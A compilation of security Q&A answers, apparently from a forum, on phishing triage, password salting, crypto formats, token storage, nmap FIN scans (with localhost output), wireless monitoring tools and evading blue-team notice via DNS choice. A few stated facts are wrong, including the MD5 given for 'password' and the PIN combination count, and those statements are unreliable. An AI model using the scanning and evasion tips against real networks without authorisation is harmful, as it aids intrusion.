How to identify the phishing email originates from a compromised account or a compromised server?

Compromised accounts are typically used to escalate internally, e.g. to launch a new phishing attack from inside in order to bypass spam detection or abuse trust between users (they have access to the compromised account's past emails too).

In most deployments, internal forgery is trivial; you could send mail as your CEO to anybody in the company (or externally) and it'd pass all of the spoofing detection tests. That means you have to look at the Received headers to determine what host the message actually came from. (If SMTP-AUTH is enabled internally, you should have the authenticated username available somewhere in the headers, typically the Received header added by the local SMTP server.)

  is there anyway for the hacker to take over this account through server?

Didn't you already conclude that "this account had probably been compromised"? If so, it has already been taken over. Change that user's password as soon as possible and perform an audit of all of that user's logins and emails going at least 72 hours before you believe it was first compromised (unless you have a definitive compromise time, in which case use that).

Perhaps I'm not understanding your question. If you're asking if there was a server vulnerability that was exploited and that perhaps the account was compromised in that manner, you'd have to search for CVEs related to all of your relevant server software. If you regularly update your software to the latest patched versions, this is a lower risk, but you should still check.


Encrypt+Signing data: PKCS#7 / CMS or do-it-your-own way?

Don't roll your own crypto. If you decide to invent your own format, then you are on your own. The history of cryptography is full of people who invented their own format, and failed horribly; and, more to the point, the history of cryptography is not full or people who invented their own format, and got away with it. These things are hard to do correctly, and you cannot test whether you succeeded or not (you can test for functionality, not for security).

CMS (the new name for PKCS#7) has the double benefits of:

having been standardized and deployed in the field for a long time, so its potential pitfalls should have been well understood by now;
being already implemented in a number of framework and libraries. As usual, the software which is easiest to implement correctly is the software which is already implemented correctly.

So, do yourself a favour, use CMS.


Achieving 'frequency separation' in wireless networks

Frequency separation addresses interference between an AP and other devices operating in an overlapping frequency. From a security perspective it supports the "availability" of the CIA triad. "Integrity" is not an issue since frequency separation deals with the layer 1 of the OSI model.

Long story short, you need to ensure that APs which cover overlapping areas are operating in different channels to eliminate interference (conflict) between them.

Sources:

"Wireless Networking: Know It All: Know It All" - page 347
"Certified Wireless Technology Specialist - Official Study Guide" -
page 148


I would like to remind you that FIN scan does not work on windows operating systems. Furthermore, the existence of firewalls can prevent the scan from returning the correct result.

It will work fine on Mac and Linux. (Unless the port has been filtered by a firewall)
I tested with Kali Linux-Kernel 3.14 and it works.

root@kali:~# nmap -sF 127.0.0.1 -p 80

Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-03 17:13 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000064s latency).
PORT   STATE  SERVICE
80/tcp closed http

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
root@kali:~# apache2ctl start
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
root@kali:~# nmap -sF 127.0.0.1 -p 80,81

Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-03 17:14 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000017s latency).
PORT   STATE         SERVICE
80/tcp open|filtered http
81/tcp closed        hosts2-ns

Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds
root@kali:~# uname -a
Linux kali 3.14-kali1-amd64 #1 SMP Debian 3.14.5-1kali1 (2014-06-07) x86_64 GNU/Linux


Mac address reverts to the original address?

You might look at what address your macchanger is giving you. Times are changing and it looks like if your MAC address starts with a leading 1 bit, then it is a local address, and some drivers wont work with it. Take a look here on wikipedia about local addresses Local Addresses on Wikipedia.

  Addresses can either be universally administered addresses or locally
  administered addresses. A universally administered address is uniquely
  assigned to a device by its manufacturer.

  Universally administered and locally administered addresses are
  distinguished by setting the second-least-significant bit of the first
  octet of the address. This bit is also referred to as the U/L bit,
  short for Universal/Local, which identifies how the address is
  administered. If the bit is 0, the address is universally
  administered. If it is 1, the address is locally administered. In the
  example address 06-00-00-00-00-00 the first octet is 06 (hex), the
  binary form of which is 00000110, where the second-least-significant
  bit is 1. Therefore, it is a locally administered address.
  Consequently, this bit is 0 in all OUIs.

Take a look here: https://superuser.com/questions/243818/change-mac-address-of-a-wireless-network-adapter . This has been discussed on other stackoverflow sites.


Challenge Response Login Authentication with Password Salt

If you are using SSL why would you send a salt at all? All you need to is allow the user the send username and password and you can calculate H(message + salt) server side. There is no point of sending the salt to the user. Just make sure you use a proper hashing algorithm like PBKDF2, bcrypt or scrypt.

Also if you have broken SSL it would not matter if you send the password or the hash as you could easily just intercept the hash and perform a repetition attack. Unless of course the challenge would change with every single authentication request which would require you to store the password in decryptable or plain text format. Which may be a security risk on its own, furthermore it would be susceptible to a bucket brigade man in the middle attack.

Stick to good secure schemes, username + password across ssl is secure, don't try rolling your own.


Is it secure for a site to serve the login page with HTTPS from a trusted CA but have HTTP for non-login pages

Not really. If the user is on a HTTP non-login page, and clicks on a 'login' button, unlikely he/she is going to notice if the login is now using HTTPs or HTTP.

Best to have the entire site on HTTPs.


E-Commerce website with REST backend : do I have to secure Backend URLs accessed by Front end public pages?

Yes.  You are responsible for ensuring that only authorized access is allowed to your REST interface.  If the interface is meant to be accessed only from tje front end, you are responsible for ensuring that this is exactly what happens.

What are the risks?  well, what functionality does your REST API offer?  If an unauthorized cleint can connect, read data, and submit commands, then they can use your REST API to do whatever your REST API can do.  They can delete whatever your API will let them delete, modify whatever your api lets them modify, read anything that it lets them read, and create new whatevers that your api lets them create.  And i ftjere are other issues with your API implementation, like buffer overruns, then those will be exposed to the attacker, too.


What's the minimum access code length considered secure?

It depends on how this code is entered, if this is a type a code in a box from a computer keyboard or a type a code on a physical keypad that requires a user to physically brute force it.

If it has scope to be attacked by a computer a six digit numeric pin could be cracked in minutes, 6 digits gives 1111110 password combinations, at 766 keys per second, your pin is cracked in  24 minutes, at 4 digits it's 14 seconds. You can run numbers yourself through this calculator to give you an idea http://calc.opensecurityresearch.com/

With physical entry it's much more demanding time wise and a human will give up long before a computer will. You must have some sort of lock out after multiple failed attempts, as ATMs do - typically locking you out after three attempts. So, it's not necessarily the length that is hugely important beyond the trivially guessable, ie it should be at least four or more. The chances of hitting a 4 digit code in three guesses are extremely small, so something in the range of 4 - 8 i would have thought should suit your application offering a difficult to guess PIN with low effort to enter.


What is the purpose of using different DNS server in nmap?

There are all sorts of reasons:

You might not have access to local DNS servers.
You might want to query against a specific non-default DNS server within the organisation, which you suspect may leak more information than their defaults.
You might not want to alert a sysadmin / blue team by performing lots of DNS lookups across the infrastructure, so you might opt for an alternative DNS.
You might not want to use your ISP's DNS servers (or other 3rd party DNS) for legal or contractual reasons.

I'm sure there are other reasons too. These are just a few off the top of my head.


Is it as safe to use a programming language as a browser?

Modern browsers are massively complicated pieces of software: they can run at least one complicated interpreted language, handle a bunch of different types of media files, and connect to a wide range of services, which can use a whole range of different methods to transfer data in both clear text and encrypted forms. That tends to mean there are a lot of things that could go wrong resulting in data being exposed to an attacker.

However, they are also subject to a lot of scrutiny when it comes to the security aspects. They implement careful memory management for sensitive pages, isolate tab contents from other tabs, have vigorously tested encryption libraries, and in many cases get constantly fuzzed looking for flaws in processing routines. Chrome has (At time of writing) about 1500 CVE issues, but, and this is quite important, the majority of these are fixed quickly.

On the other hand, a script which loads a specific site and performs one specific actions is relatively simple, even if it uses pre-built libraries to do heavy lifting such as performing SSL connections. That makes it less likely to contain issues caused by unexpected interactions between components, but it is used by fewer people, so any issues less likely to be discovered. It probably doesn't make any attempt to ensure that passwords and other sensitive information isn't written to disk inadvertently, and may even contain hard coded credentials, which could be exposed if the system it is running on is compromised. It relies on the developer to keep encryption libraries up to date, and to handle any changes to the responses from sites which are required (e.g. if the site uses an API with an Authorization header added by JS, the script will either need to run the JS, or perform equivalent steps and add the header when required).

The script is also unlikely to handle things like HSTS headers or give alerts when certificates don't match expectations, meaning that if it is used on an insecure network, an attacker may be able to intercept the traffic generated.

The threat models for each are different: the script is likely to be vastly less secure if an attacker is able to compromise the system where the script is running, while an attacker who can place malicious code in an advert shown on a sensitive page is likely to be more successful against users of full browsers - a script is probably going to ignore the advertising code, or not be vulnerable to the methods used to try escape the browser sandbox.

Personally, I'd stick with the browser though - the developers are thinking of problems I've not even considered, and implementing fixes for them without me needing to lift a finger, and as long as I keep my browser up to date, these improvements just turn up like magic.


internal proxy server vs DMZ proxy server

"Proxy server" is an imprecise term.  You have to think about what the proxy server is protecting to determine where it fits on the network.

For example, web proxy servers used to channel outbound web surfing are often placed on internal networks rather than DMZs - their connections are outbound and they pose no additional "threat" to the internal network - an internal user doesn't gain anything by attacking it in order to leverage its access; they're already internal.

On the other hand, application proxy servers which accept traffic initiated from the Internet and heading inbound are usually placed in a DMZ.  The assumption is that a connection initiated by an attacker could somehow breach the software on the proxy - a buffer overflow, for example - and that once that happens the attacker can use the proxy as a hopping-off point.  Such a proxy is kept in the DMZ to limit the damage a successful breach of that first layer can cause.


Detecting old file extension name of corrupted file

The file extension does not determine what format a file is in; they exist so that applications can identify and open their respective known filetypes, and secondly so users can see what type of file it is (although some file explorers, notably Windows Explorer in Windows 7 and later by default, will hide the file extension if the extension is known).

Most file types contain a file header or "magic number" in the first few bytes of the file that are unique to the particular file type. Tools such as the UNIX file utility exist to read and identify files based on their magic number. Changing or removing the file extension does not affect the contents of the file and thus does not diminish the ability to recover the file type with this method.


Is exposing the psk in /etc/network/interfaces a security risk?

Yes, but as always there is a trade-off between security and convenience. If you don't want the user to have to type the passphrase every time, then you have to store the PSK on the machine somewhere.


Begin of Certificate/ End of Certificate dash "-----"

This is defined in IETF RFC4945, section 6.1 (page 36).

It is basically a standardised format for protecting important identifying start and ending sequences of encoded data in plain-text files, known as an encapsulation boundary, that has been around for a long time (since at least RFC934, published in 1984).


How much safer is it to use the command line in Windows Server 2012?

The purpose behind the "Server Core" was to bring it in line with Linux/Unix.

Linux servers do not have a GUI, unless one is installed. Because this has been the default, one isn't expected, and administrators have worked that way for decades.

Windows Server has had a GUI, since it's birth. This has been an attractive feature for those who have previously administrated/worked on Windows Systems. You click buttons, and things happen. There isn't a whole lot of thinking involved. Even when installing "server roles", you get a tutorial along with it.

Some have said (including Microsoft) that "server core" is more secure. This seems to be exaggerated. Sure an attacker has less opportunities because of the lack of GUI (double extension files and the likes), and the processes required to run it, but on the remote side of things, nothing has really changed. The command line is the same as in previous versions, and critical processes still run.

The things removed include:

The Windows Explorer desktop shell (Explorer.exe) and any supporting features such as Themes
All MMC consoles
All Control Panel utilities, with the exception of Regional And Language Options (Intl.cpl) and Date And Time (Timedate.cpl)
All Hypertext Markup Language (HTML) rendering engines, including Internet Explorer and HTML Help
Windows Mail
Windows Media Player
Most accessories such as Paint, Calculator, and Wordpad

Funny enough, you are still running GUI programs, it's just a case of invoking them from the command prompt, rather then the start menu or other such cases. Notepad is stripped down but still retains it's functionality, and you can still remotely connect to the machine and get all the MMC console functionality back.

To claim "70% of the vulnerabilities in the last 5 years" being resolved either shows how sloppy the GUI was done, or how many unneeded features are included in Windows Server and inadvertently allows generic Windows malware to infect the server OS branch.

The major benefit of Server Core is that because of the limited GUI, it has a lighter memory footprint as well as on other resources. Do not expect a huge increase in security as many would like to claim.

https://channel9.msdn.com/blogs/duncanma/iain-mcdonald-and-andrew-mason-show-off-the-new-windows-server-os

https://www.petri.com/understanding-windows-server-2008-server-core

https://msdn.microsoft.com/en-us/library/dd184075.aspx


Mutually Assured Destruction and Cyber Warfare

While, as others have said, Mutually Assured Destruction is not something that could apply to Cyber Security, it is certainly true that tit-for-tat cyber aggression has been going on for quite a while and has been pretty nasty over the last few years between the main government supported hacking groups.

Indeed, I believe that the USA did a deal with a large competitive country around 18m or maybe a bit less ago to get them to calm things down.

One of the issues with cyber warfare of course is that it is very difficult to attribute so those of us not involved with cyber military/intelligence can never be sure who is doing what.

The bottom line, though, is that security is certainly not "good enough", not in any industry sector - even a few days ago, one of the US electricity companies found some malware on an offline computer though thankfully not one (at least that they admit to) that was controlling the grid.

Anyone following the cyber security news will painfully be aware of the vulnerabilities in many industries including critical ones such as government, health, city control ("smart" cities), power, ...

However, I do not believe that the capability exists currently for one attacker to take down an entire power grid in any of the major, large, countries. In general, they are too fragmented to be brought down in a single attack.

Similarly, banking is very tightly controlled and banks are very cautious about their systems and how they are interacted with. They have numerous interlocking safety mechanisms to prevent mass fraud or other manipulations. Indeed, the biggest worry with banking is attacks undermining public confidence rather than actual failure of the systems.

UPDATE: MAD does not exist in the cyber realm because of the vast complexity involved and because the physical world is relatively unimpacted (compared to nuclear holocaust).

You can take down a network maybe, a website for a while, you can steal lots of data. But most systems have backups and are quickly restored with new patches and security added.

The worst cyber attacks so far have taken down an organisation for a few days. Sony Pictures may have been the worst admitted too, they were off for a couple of weeks I think but they had appalling security!

One of the biggest current fears in cyber security is un-noticed changes to data rather than mass encryption or theft. We've yet to see a big example of that but I know that there are lots of experts who are worried about that. But even that doesn't amount to world destruction, the worst that is likely to happen is that a government would fail - maybe some lives lost (if certain industries were impacted, like health). Understand that I'm not dismissing such impacts, they are certainly severe, but they don't rank amongst impacts like MAD.

In regard to your comment about banking. Whilst nobody in their right mind would consider banks as entirely "good" actors after the litany of bad things that have happened over the last decade. Most countries have remarkably tight rules regarding banking for this very reason. In any case, most banks carry their own liabilities - even though they may be bailed out by governments, it comes at a terrific price to the people in charge. They are so carefully inspected in the majority of countries that wrong-doings inevitably are found out in the end. There are also too many people involved inside the banks for such things to be well hidden - the well-known banking issues were mainly caused in areas where a relatively few people control everything.


Yes, it's fully supported and widespread
DKIM doesn't implement DNS itself, but its DNS binding (RFC 6376, 3.6.2) is depending on the DNS, and it's using the namespace selector._domainkey.example.com. for TXT records. As CNAMEs and DNAMEs are specified in DNS RFCs, outside the scope of DKIM, they are followed by the DNS when querying for TXT records. DKIM simply inherits this behavior.
CNAMEs are widely in use on implementations where a third party email provider needs to be able to rotate the DKIM keys independently, e.g. Microsoft O365, AWS, SendGrid, ConvertKit & MailChimp.
There's no so much examples on DNAMEs, but it should work as well. One reason for why DNAMEs aren't used that much is that a purpose of the DKIM selectors is to enable multiple sources to send signed email for the same domain, e.g. both your mail system and your newsletter system. With a DNAME you would make an alias for every selector under _domainkey.example.com., pointing them all to a single service provider. It's simply not that useful.
There's nothing in DKIM specification that would require treating records that are fetched from external domains less trustworthy. And why would they, as it's the domain itself that delegates the trust by publishing such records.
Security considerations
First, it's worth to notice that DKIM is not even designed for strong authenticity, per RFC 6376, 8.5:

8.5.  Attacks against the DNS
Since the DNS is a required binding for key services, specific
attacks against the DNS must be considered.
While the DNS is currently insecure [RFC3833], these security
problems are the motivation behind DNS Security (DNSSEC) [RFC4033],
and all users of the DNS will reap the benefit of that work.
DKIM is only intended as a "sufficient" method of proving
authenticity.  It is not intended to provide strong cryptographic
proof about authorship or contents.  Other technologies such as
OpenPGP [RFC4880] and S/MIME [RFC5751] address those requirements.

Regarding DNSSEC, using CNAMEs or DNAMEs to other domains do decrease the security. E.g. if your example.com is a DNSSEC signed zone, but selector1._domainkey.example.com. is a CNAME to Microsoft's selector1-example-com._domainkey.contoso.onmicrosoft.com.. Currently onmicrosoft.com. is not DNSSEC signed. However, DKIM does follow these records, as full DNSSEC chains aren't required.


Airodump-ng occationally not showing networks near me

Try running airmon-ng first followed by airmon-ng check kill. If that does not work try killing the processes manually by typing kill [pid of the process]. And if all that does not work try "rfkill unblock all", this will unblock your adapter if it was being blocked by the firmware as it is not a very famous adapter and may not have the proper drivers installed.

Try all of the above methods and if all of them fail then your adapter may not be compatible or may partially be compatible, i suggest getting a TP-Link WN722N v-1.0. It is a budget adapter and i personally use it besides alfa adapters. Make sure you get the v-1.0 because v-2.0 is not compatible.


Why isn't the arp cache locked for the gateway by default?

One very large drawback is that MAC addresses are by default assigned by the vendor in their production process. This means that every network interface has a unique MAC address. Now imagine the scenario where you need to replace that gateway due to a hardware defect. A new device will have a new MAC address, so unless its software allows to to manually set its MAC address (and your remember to do so during an outage), you need to manually update the ARP table on every single device connected to it. And those devices may not even be in your control.

Another argument is that as I pointed out many devices allow you to change its MAC addresss. So if they change it into the same MAC address as the gateway, you still would be vulnerable to ARP poisoning, it then all depends on the order in which ARP replies are received by the clients and how they handle them.


Where to store access and refresh tokens on ASP.NET client web app - calling a REST API

1. Where to authenticate the user?
If it is a user who needs to authenticate, then you need something in your front-end. From your front-end, you can just do a POST to your back-end, with the user credentials. You verify the user credentials, and issue an accesstoken/refreshtoken pair in case the credentials are known. You will ALWAYS have to go via the back-end to authenticate a user. You mention that the tutorial does it in JS, but it does not. It POSTS to a login form. The POST is initiated in JS, but it goes to the back-end.
2. Where do I store the accesstoken?
The accesstoken can be stored the same way as normal authentication cookies are stored. You have various options (secure http-only cookie, localstorage, session storage, etc.). In the most simple scenario, you just store it in a cookie so that it is sent along with each request. However, for a mobile app, it is probably easier to store it in LocalStorage.
3. Where do I store the refreshtoken?
This highly depends on your application. I asked the same question a while ago, for mobile apps (be sure to read the comments as well). You should store the refreshtoken in a secure place. For the apps that you will develop, you can follow the suggestions from the answer I linked to, that is:

Store the refreshtoken in LocalStorage
Store the encrypted refreshtoken somewhere on the file system, using an API provided by Android/IOS. Store the encryption key in localstorage. (or the other way around).

For other kind of apps, other possibilities exist. Storing both the accesstoken and refreshtoken in LocalStorage might feel wrong from a security viewpoint, but an attacker will probably have more luck intercepting the token when it is in transit, than gaining access to the localstorage. Other, sometimes more exotic suggestions are given here (e.g. IOS secure storage).
Extra information

I personally like this series of blogposts very much. Be aware, they might start to become a little bit outdated, but they contain a wealth of information regarding a REST-OWIN set-up.
Please do not forget to implement all other security controls, which I have not mentioned as this would cloud the answer. HTTPS, http-only cookies, secure cookies, XSS preventions etc. should be implemented, or your token will be stolen much faster than the time you need to read this answer.


Is every client-side language more vulnerable?

This is a issue of who controls the code. Let's leave out that there are some modern framework like node for JavaScript on the server side.

The languages themselves are not necessarily more vulnerable. Most flaws are not results of the underlying language, but of the various logic checks, input sensitization, etc.

That said, you cannot control the code client side, which means that the local user can modify it. It can also be modified by man-in-the-middle attack on the network or by a man-in-the-browser attack where the attacker has compromised the local machine/browser.

On the server side, they would have to break into your server to modify the code. However, that does not mean the code is necessarily more secure.

While you can modify the JavaScript through your code inspector locally, if you did something malicious, you would be doing it to yourself. Just because you change the code doesn't mean it will affect other users. However, you can create attacks against the page request that you then send to someone else which will result in XSS or CSRF. This would result in an attack being carried out against the user. At the same time, you can change the request so that malicious requests or data are sent to the server which result in a buffer overflow or a code injection (e.g., SQL injection).

One of the differences is that you can more easily craft an attack if you have access to the code. Since you can see the source of the HTML and JavaScript, it may be easier to craft an exploit, but that same knowledge might lead to crafting a SQL injection.

Now, to your last point. You should ensure all of your security checks are performed on the server side because you cannot trust client-side validation since it only affects what's going on in the browser. An attacker locally or MiTM can still change the raw HTTP traffic, which would result in your client-side validation effectively being ignored. Client side validation is a convenience for your users and to save some cycles on your server.


Does cross platform (authenticated) volume encryption exist?

I am not aware of any generic, cross-platform encryption utilities which can do this, but the newest version of Linux's LUKS2 volume encryption format supports authenticated encryption. You can format a partition to use authenticated encryption with a recent copy of cryptsetup and a modern kernel:

cryptsetup luksFormat --type luks2 $device --cipher aes-xts-plain64 --integrity hmac-sha256

This will use standard AES in XTS mode, using an HMAC for integrity. You can alternatively do:

cryptsetup luksFormat --type luks2 $device --cipher chacha20-random --integrity poly1305

This gives you an encrypted volume using the ChaCha20 stream cipher, with the Poly1305 MAC for authentication. While stream ciphers are normally a bad idea for disk encryption because of their malleability, it is not a security issue when combined with a secure MAC for cryptographic integrity.

Note that AEAD adds some storage overhead, as the MAC tag must be stored along with the ciphertext. This causes the amount of usable free space to be a bit smaller than if you did not use authentication.


Why are salted hashes better than just hashing?

Does Hash/Salted password really help when DB is compromised? really does answer your question, but there looks like there is a language issue. So I will explain in a different way.
If we only hashed passwords, and not salted them, then commonly used passwords would all look the same. The password password in MD5 on every system in the world will always be:
286755FAD04869CA523320ACCE0DC6A4

Tables and databases of hashes of these common passwords exist. For fun, look up that hash on Google. So if an attacker gets the password database, they can look these up and know your user's passwords to log into your system. It takes very little time, and very little work, to discover the password. And they can do this very quickly for each password in your database.
If more than one user uses the same password, like if they used password, then all those passwords will have the same hash, which makes it even easier for the attacker to look them up, or try to brute force the one hash to discover multiple user's passwords.
Adding a salt makes these hashes unique in your system, even if the password is still password. For instance, if you add iamasalt to password you get iamasaltpassword and that hashed in MD5 is:
B27EB5B892E89369497C2DD9749667AF

Even though the password is still password, it is stored in your password database in a unique way so that the tables and databases of common password hashes do not work. An attacker might know the salt, but now the attacker has to go through the work of figuring out what the password really is for each and every password. Knowing the hash is not so useful anymore.
By having a unique salt for each user, then even if users use the same password, that fact will not be known by the attacker unless all hashes are brute-forced. They cannot break one hash and get access to multiple accounts.
Salts stop the attacker from simply looking up the hash in a table or to crack one hash and get access to more than one account. And it forces the attacker to brute force the hash of each password.


Timeless timing attacks and response jitter

Both requests are sent simultaneously, and are executed by the remote server concurrently. All the attacker needs to do is know which response came back first. Although there is jitter on the return path, they can tell at the very least which one was sent first (e.g. by TCP sequence numbers). The attack actually relies on the fact that the target server will not multiplex the response and will send each response in series. The order they come in tells the attacker which finished execution last.
The attacker doesn't need to worry about the response that was sent first "overtaking" the other response on its way back because these protocols typically contain information that ensures that packets will not be received (or at least processed) in a different order than they were intended.
This is not an attack against a specific application, and the attack is not a risk if the target server is not running any code that is vulnerable to timing attacks, but it does illustrate that existing timing attacks that were once thought to be too hard to exploit over a network may actually be exploitable.


JavaScript encryption for websites delivered via IPFS

Well, one issue until very recently (i.e. last week!) was that implementations of Math.random() in most browsers were, frankly, rubbish. Both V8 (the Javascript engine behind both Chrome and NodeJS) and Spidermonkey (the Firefox engine) used PRNGs with too short periods, and there is evidence to suggest that IE and Edge also have broken PRNGs. This means that if there are any calls to them from anything in a layer that relies on them, there is going to be a limited set of possible results. Now, this can still be a lot of results (about 590 million, for the V8 case), but that is a lot less than the ideal 2^132 (5,444,517,870,735,015,415,413,993,718,908,291,383,296).

This means that any attack has a much higher chance of success - intercept data in transit, and then attack offline. Might take a while, but AES is fast on modern processors, and computers are cheap.

Other issues with this could be: how can you ensure that there are no extensions in use? The browser is out of your control. How can you be sure that there aren't undiscovered flaws in IPFS? Security professionals tend to prefer systems that have been subject to a lot of attacks, and not broken, to new systems that haven't been tested as much. Even if the mathematical theory is perfectly sound, is the implementation correct? One typo or incorrect addition could result in a massive problem - see Heartbleed.

There are also problems with other parts of the browser infrastructure that can affect some types of in-browser crypto. The FileWriter interface was deprecated, meaning that anything larger than the browser memory can't be reliably decrypted (there is no sensible way to write it to disk - oddly enough, FileReader works fine for encryption). Browser support for encryption operations is lacking - Windows and Linux can use native calls for AES nowadays, on modern processors, but it would take work to make browsers able to do the same.

We're getting there, but it's not yet a solved problem. If IPFS stands up to scrutiny, the browser manufacturers implement improved randomisation sources, and so on, it'll be close. The extension problem doesn't seem likely to go away though - people seem attached to their adblockers, and probably don't want to trade security through not having any extensions turned on for adverts!


Bank wants my Online-banking PIN through the telephone

It is becoming quite commonplace in the US.  Many banks and other financial institutions require the caller to provide an identification number that has been set up beforehand to verify they are indeed talking to an authorized user of the account.

They used to ask personal information - social security number, old addresses, security questions, etc.  Those have begun to fall out of favor.

The 'telephone PIN' or user PIN, is not the same PIN as your debit or credit card nor online account password.  It can also be used as a secondary verification method when logging in online or when retrieving or resetting the online password.

So, no, it is not a sign of phishing necessarily and it is good that you found it suspicious and ended the conversation instead of blindly giving someone your PIN.


Does password-hashing "busy-work" need to be cryptographically secure

Does password-hashing “busy-work” need to be cryptographically secure

Yes. You need it to use a standard algorothm to make sure there are no shortcuts available for the "busy-work".  Have a look at Thomas Pornin's answer here.

Inserting the salt (yes, it must be talked about), and iterating the function at the same time, is a bit more tricky than what it usually appears. In particular, a hash function such as SHA-256 is not exactly a "random-oracle-like" function; it exhibits some internal structure. Any homemade construct could hit one of those fine details from which deadly weaknesses may emerge.
Making sure that you did it right is difficult, just like building any cryptographic algorithm. That's where bcrypt is better than any homemade construct: bcrypt has been published and in use and presumably inspected for flaws by many people over quite some time. This is basically the only hard measure of security that you can get in cryptography. The generic advice of "do not define your own algorithms" applies here too.

In your statement:

If the secureHash function is good, and the time required for at least some of the busy-work functions cannot be effectively reduced, would there be any way in which a poor busy-work function could compromise security, other than by taking time away from the better busy-work functions?

Taking time away is good, although if shortcuts exist then the time spent would be better spent on a "tried and tested" method of iterating the hashing algorithm. If the tried and tested method will effectively add 10 bits of entropy with 1024 iterations, you do not want your "poor busy-work" function to be able to be shortcut so no additional equivalent entropy is added. This adds time for your system, but none for an attacker. A good iterated hash function should add more time for the attacker as they will need more guesses than a valid user will.
I realise that your question is along the lines of "assume the attacker has the fastest way of producing a hash", however on my production hardware I want "the fastest method of creating a secure hash" to be used for each platform. In that case you could have different algorithms for different machines, but you should use standard ones (bcrypt, scrypt, PBKDF2) and you will be at the mercy of the weakest one if an attacker got hold of your password database.
In your comment to a previous answer:

In most crypto functions, the assumption is that the attacker won't have the parameters necessary to use the crypto function in the forward direction and will thus have to reverse it and the goal is to maximize the difference in speed between the reverse and forward directions. Adding insecure stuff will slow down the forward direction, but probably won't affect the reverse direction as much.

A cryptographic hash function should be pretty much impossible to invert. An attacker when trying to crack a hash will in fact hash their guesses using the same algorithm you have used - so they are going in the "forward direction" to see if they have a match. You should not assume that your "busy-work" or hashing algorithm is secret - assume the only secret the attacker does not know is the password. The only time things are in a "reverse direction" is when they have a pre-computed rainbow or hash table - if you have a strong enough salt then this will stop this attack vector.
So it appears there is a flaw in your goal of making a hash function quick to run yet difficult to reverse. It should be slow to run and impossible to reverse. The only "reversing" you should be attempting to thwart is those of repeated attempts by making the attacker do more work per guess.


Now = March 14th, 2017

For now : No. Perhaps in the future if/when Chrome (for Desktop) offer support for FIDO U2F over BLE (now only FIDO U2F over USB is supported).
For now, U2F over BLE support is in beta stage. U2F over NFC is more stable, officially supported by Chrome on Android but not widely adopted. This requires Google authenticator - not for the usual OTP part - (this requirement should disappear in the near future). You should be able to use U2F over NFC on GitHub and Facebook (through web/chrome not through apps).

The devices by Feitian you referenced are the first products of their kind (I already tested them) and you may use them with a beta apk Android application provided by Feitian. This application may offer more compatibility with online services (always through Chrome), but you will still experience issues. Problems are not only related to Feitian parts but to the official Google support too, this should be fixed in the next few months)

To summarize (March, 2017):

U2F over USB is stable and already adopted by many web services
U2F over NFC recently became stable, adoption is starting
U2F over BLE is being finalized (non-official beta support stage, with Google accounts on Android being one example already deployed first adoptions with few issues


What are the security risks of logging the hash of rejected passwords?

If properly hashed (i.e. with random salt and strong hash) a hashed password is not reversible and hashed passwords for different accounts differ even if the passwords are the same.

This means that almost none of the analysis you want to do can be done with the properly hashed (i.e. random salt) passwords in the first place, i.e. you gain almost nothing from logging passwords and at most you lose since you leak some information into places where an attacker might get easier access since logs are usually not considered as sensitive as stored passwords.

When using a plain hash instead (no salt) some of the things you mention are possible at the cost of an increased attack vector since now an attacker can use pre-computed hash tables to reverse your logged passwords.

Maybe you have some misconceptions about what proper password hashing means. I recommend reading How to securely hash passwords? to get an idea how proper password hashing is done and why it is done this way but in the following I will address some of the misconceptions you seem to have:

  Check if it is just typo : if a user often failed login at first time with the same hashed password but later it logs in successfully, then it is possibly just a typo

You cannot check a typo using the hashed passwords since even a small change on the input results in a huge change in the output. You also cannot check for the typo in the original passwords since you cannot reverse the hash to get the password for comparison. To check if the entered wrong password is always the same you could log the hash salted with the same salt as the stored (correct) password as Jon Bentley suggested in a comment. If the logs are at least as well protected as the stored passwords then this would only slightly increase the attack surface, but as I said logs are commonly not considered as sensitive as password storage.

  ... Some common passwords, just like 123456 and birthday, which has fixed hash, ...

Proper password hashing uses a random salt to make attacks using pre-computed hashes with common passwords impossible. This means that the same password results in a different hash when it gets hashed, i.e. your assumption of these passwords having a fixed hash is wrong. Again, you could use the more easy to reverse unsalted hashes here at the cost of an increased attack surface.

It might instead be better to do that kind of analysis when the entered password is still available and only log the result of this analysis.

  ... if a user usually failed to login with the same hash, and the hash is the same as another account but then login successfully, ...

Since hashes for the same password differ you need the originally entered password to do this kind of comparison. Since you cannot get this back from the logged hash it does not help to have the hashed password logged. Again, you could do this kind of analysis with unsalted hashes, but this would mean that all of your accounts must have their password available in the insecure unsalted way - which is a large increase of the attack surface. You could probably do this kind of analysis with salted passwords too but then would need to log the newly entered passwords salt-hashed with all the salts you currently have in use (i.e. one for each account).


Is the US military secret network SIPRNet physically or cryptographicaly separated/secured?

According to this Web page, SIPRNet and NIPRNet are supposed to be air gapped (both from each other, and from the rest of the World). However, they are also accessible from various locations around the World, under control of several countries (it is documented that some services from a pool of countries, which includes Australia, New Zealand, Canada and United Kingdom, have access to SIPRNet and NIPRNet).

If SPIRNet and NIPRNet were really, physically air gapped worldwide, then this would imply that:

all communications are over wires (no radio, no satellite link);
there are dedicated wires just for that, including both worldwide submarine communications cable and terrestrial cables.

Considering that installing a submarine communication cable cannot be discreet in any way (and the list of such cables appears to be public knowledge), that the cost would be tremendous, and that Bradley Manning, alleged source of some classified information which was published on WikiLeaks, had access to SIPRNet from a facility located in Baghdad, one can deduce that the air gap is not thorough. It probably means that within a given facility the networks are physically apart from each other, and no computer is ever connected to both SIPRNet or NIPRNet, and some other network; on the other hand, data which exits such secured facilities is most probably heavily encrypted and conveyed over links which are shared with the rest of the World (at least US tax payers fervently hope that encryption is properly applied).


What is updated with "Update Root Certificates" enabled? What is the equivalent in Windows 2008R2?

Have a look at this page:

http://support.microsoft.com/kb/931125

I think it will answer some of your questions. It even contains some information regarding different operating systems.

Specifically, here is the list of what's updated in the Windows Root Certificate Program:

http://social.technet.microsoft.com/wiki/contents/articles/2592.aspx


No, FTP does not include integrity protection as a feature of the protocol. You can use SFTP which runs over SSH and does have built-in integrity checks (scp is another option that uses SSH).

You can roll your own integrity protection by manually comparing a checksum calculated locally with one calculated either on the remote host itself or by the origin client who uploaded it. MD5 is a typical choice, and you can calculate the MD5 checksum by running openssl md5 <file> on most Unix-like systems.

